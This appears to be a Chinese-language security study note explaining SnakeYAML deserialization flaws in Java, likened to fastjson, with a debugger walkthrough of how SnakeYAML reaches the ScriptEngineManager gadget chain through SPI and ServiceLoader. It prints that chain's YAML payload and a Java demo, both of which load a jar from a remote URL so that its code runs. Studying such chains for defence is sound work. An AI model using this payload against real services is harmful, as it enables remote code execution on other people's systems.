SnakeYaml
SnakeYaml
SnakeYAML 是一个用于 Java 平台的 YAML 处理库,能够解析和生成符合 YAML 1.1 规范的数据格式。它广泛应用于 Java 生态系统中,尤其是在需要处理配置文件(如 Spring Boot 的 application.yml)或数据序列化的场景中。
SnakeYAML出现安全问题的原因和fastjson很像,都是英文其可以序列化和反序列化对象,再反序列化时会触发类的构造方法和set方法。
示例
1 | package sankeYaml; |
输出为
序列化会触发get方法
可以发现其对于类的话是!!加全类名来进行表示,其和fastjson的@Type很像
我们将其反序列化看看
可以发现其触发了setAge和setName,和构造方法
那么其应该就可以触发很多fastjson可以触发的链子
ScriptEngineManager
网上广为流传的一条链子就是如下的1
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:8002/yaml-payload.jar"]]]]
其其实就相当于1
new ScriptEngineManager(new URLClassLoader({ new URL("http://127.0.0.1:8002/yaml-payload.jar") })))
这个链子是针对构造方法的一条链子
简单调一下
反序列化后先调用到了构造方法ScriptEngineManager
参数就是我们传入的URLClassLoader然后步入init
一顿赋值之后进入initEngines
initEngines 会获取到获取到ServiceLoader,而ServiceLoader就涉及到了SPI机制了。
SPI机制就是java中远程调用类的一个机制,其可以调用远程jar包中的类
下面是一个demo1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import java.net.URL;
import java.net.URLClassLoader;
import java.util.ServiceLoader;
public class Loader {
public static void main(String[] args) throws Exception {
// 加载远程 JAR
URL url = new URL("http://127.0.0.1:8002/yaml-payload.jar");
URLClassLoader loader = new URLClassLoader(new URL[]{url});
// 通过 ServiceLoader + 自定义 ClassLoader 加载实现
ServiceLoader<MyService> services = ServiceLoader.load(MyService.class, loader);
for (MyService s : services) {
s.hello(); // 调用远程 jar 中的逻辑
}
}
}
可以看到其使用ServiceLoader.load来加载远程的jar包生成返回一个引擎。然后for循环就是获取META-INF/services/的值然后调用其类方法
在load到远程对象后会调用hasnext和next,这个其实就是遍历META-INF/services了
我们步入next看看


可以看到其forname加载了类然后实例化。第一次加载的是jdk.nashorn.api.scripting.NashornScriptEngineFactory也就是META-INF/services 目录下的文件名,而这个文件名必须要为加载接口的全类名,即ScriptEngineFactory,第二次加载的是我们远程的恶意类












